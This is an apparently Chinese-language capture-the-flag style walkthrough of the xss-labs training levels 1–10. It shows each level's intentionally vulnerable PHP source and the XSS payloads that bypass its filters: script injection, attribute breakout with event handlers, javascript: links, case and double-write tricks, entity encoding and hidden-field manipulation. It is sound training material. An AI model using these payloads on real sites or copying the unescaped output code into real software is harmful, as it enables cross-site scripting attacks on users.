源码
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level2.php?keyword=test";
}
</script>
<title>欢迎来到level1</title>
</head>
<body>
<h1 align=center>欢迎来到level1</h1>
<?php
ini_set("display_errors", 0);
$str = $_GET["name"];
echo "<h2 align=center>欢迎用户".$str."</h2>";//这里直接进行调用,根本没有过滤
?>
<center><img src=level1.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>
http://127.0.0.1/xsslabs/xss/level1.php?name=%3Cscript%3Ealert(1)%3C/script%3E
最基本的,我们直接插入语句
<script>alert(1)</script>
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level3.php?writing=wait";
}
</script>
<title>欢迎来到level2</title>
</head>
<body>
<h1 align=center>欢迎来到level2</h1>
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level2.php method=GET>
<input name=keyword value="'.$str.'">
<input type=submit name=submit value="搜索"/>
</form>
</center>';
?>
<center><img src=level2.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>
这些被预编译了
这里我们看到还有一个submit,他是input的弹窗,我们在这里进行闭合
源码也可以看到,input的标签,并没有过滤,
"> <script>alert('xss')</script> //
我们闭合前面, 注释后面,完成!
把预定义的字符 “<” (小于)和 “>” (大于)转换为 HTML 实体: 实体化函数,也是一种预编译的函数,相当于<>不起作用了
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level4.php?keyword=try harder!";
}
</script>
<title>欢迎来到level3</title>
</head>
<body>
<h1 align=center>欢迎来到level3</h1>
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"."<center>
<form action=level3.php method=GET>
<input name=keyword value='".htmlspecialchars($str)."'>
<input type=submit name=submit value=搜索 />
</form>
</center>";
?>
<center><img src=level3.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>
正常输入并不可以,我们进行代码审计 使用了两次 htmlspecialchars
而我们的htmlspecialchars 默认不对'
生效
正好这里的value是'
闭合的
我们看到这儿,value也闭合了,onlick也闭合了,
只要点击value空白处,就能触发
' onclick='javascript:alert(/xss/)
'onclick='alert(/xss/)
' onmouseover='javascript:alert(/xss/)
'onmouseover='alert(/xss/)
这两个都可以
伪协议不同于因特网上所真实存在的协议,如http://,https://,ftp://,
而是为关联应用程序而使用的.如:tencent://(关联QQ),data:(用base64编码来在浏览器端输出二进制文件),还有就是javascript:
我们可以在浏览地址栏里输入”javascript:alert(‘JS!’);”,点转到后会发现,实际上是把javascript:后面的代码当JavaScript来执行,并将结果值返回给当前页面。
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace(">","",$str);
$str3=str_replace("<","",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level4.php method=GET>
<input name=keyword value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<center><img src=level4.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str3)."</h3>";
?>
他这里只是把尖括号替换为了空
我们上我们的经典语句 发现了转义,他把尖括号转义了
但是这里并没有进行过滤 我们直接构造闭合value即可
一套经典操作过后,发现,单引号没有被转义
发现第一个script被过滤了一点 那么我们再试试onclick
发现onclick也是
那么我们只能把input的标签闭合,然后在定义新的一个没有on的语句
"> <a href="javascript:alert('xss')">
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level5.php method=GET>
<input name=keyword value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<center><img src=level5.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str3)."</h3>";
?>
我们来查看一下源代码
将script和on都替换了
同样一套灌下去,发现单引号并没有,然后script被过滤了
我们使用第五关的代码,发现href也被过滤了 因为str_replace是区分大小写的 那么我们把script或者href大写区分一下就好了
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level6.php method=GET>
<input name=keyword value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<center><img src=level6.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str6)."</h3>";
?>
查看一下源码,他增添了几个过滤
经典语句之后,发现,被置为了空,那么我们双写绕过
发现可以,那么我们闭合之前的括号即可
"><script>alert('1')</script>
<?php
ini_set("display_errors", 0);
$str =strtolower( $_GET["keyword"]);
$str2=str_replace("script","",$str);
$str3=str_replace("on","",$str2);
$str4=str_replace("src","",$str3);
$str5=str_replace("data","",$str4);
$str6=str_replace("href","",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level7.php method=GET>
<input name=keyword value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<center><img src=level7.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str6)."</h3>";
?>
标准一把梭,发现增加了友情链接
发现被禁了,同时将script给过滤了
我们测试又发现,onclick和jaavascript过滤了 基本都被过滤了,那么我们试试实体化编码绕过 就是将他编译过后的在存储进去,那么我们最终显示出来的就是我们需要的代码 https://blog.csdn.net/qq_25899635/article/details/90577336 可以看看这里的解释
这里我们将他实体化, 这是在线网站: https://www.toolmao.com/381.html
javascript :alert(1)
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','"',$str6);
echo '<center>
<form action=level8.php method=GET>
<input name=keyword value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
?>
将所有变为小写,防止大小写绕过
经典一句话,发现他说不合法, 那么猜一手匹配相应字符 哦~第八关的实体化代码输入不进去 那么我们猜一猜匹配的字符是什么 网址的话 猜一下http://
发现我们的链接存在了, 那么我们将上一关的代码补上
注意一定要将他http://注释掉
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','"',$str6);
echo '<center>
<form action=level9.php method=GET>
<input name=keyword value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
if(false===strpos($str7,'http://'))
{
echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>';
}
else
{
echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
}
?>
看代码,果然是匹配了http://
第十个,打开只有一张图片,那么猜一下应该是从图片入手
看源代码,发现了三个隐藏的input框
我们把他隐藏的hidden删掉 没有发送按键,那只能在hackbar直接构造了
我们把所有的参数都改成我们的一句话,冲冲冲!
我们发现只有第三个有回显,和之前的很像,而且她过滤了括号 我们猜测使用javascript伪协议
实体化也没能绕过 说明他源代码并没有进行实体化,那么我们考虑考虑直接xss
发现也不可以,
我们把type删掉,然后点击空白框即可
&t_sort=" onclick= "alert(/xss/)
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str11 = $_GET["t_sort"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.$str33.'" type="hidden">
</form>
</center>';
?>
<center><img src=level10.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
将尖括号屏蔽了,其他没有什么,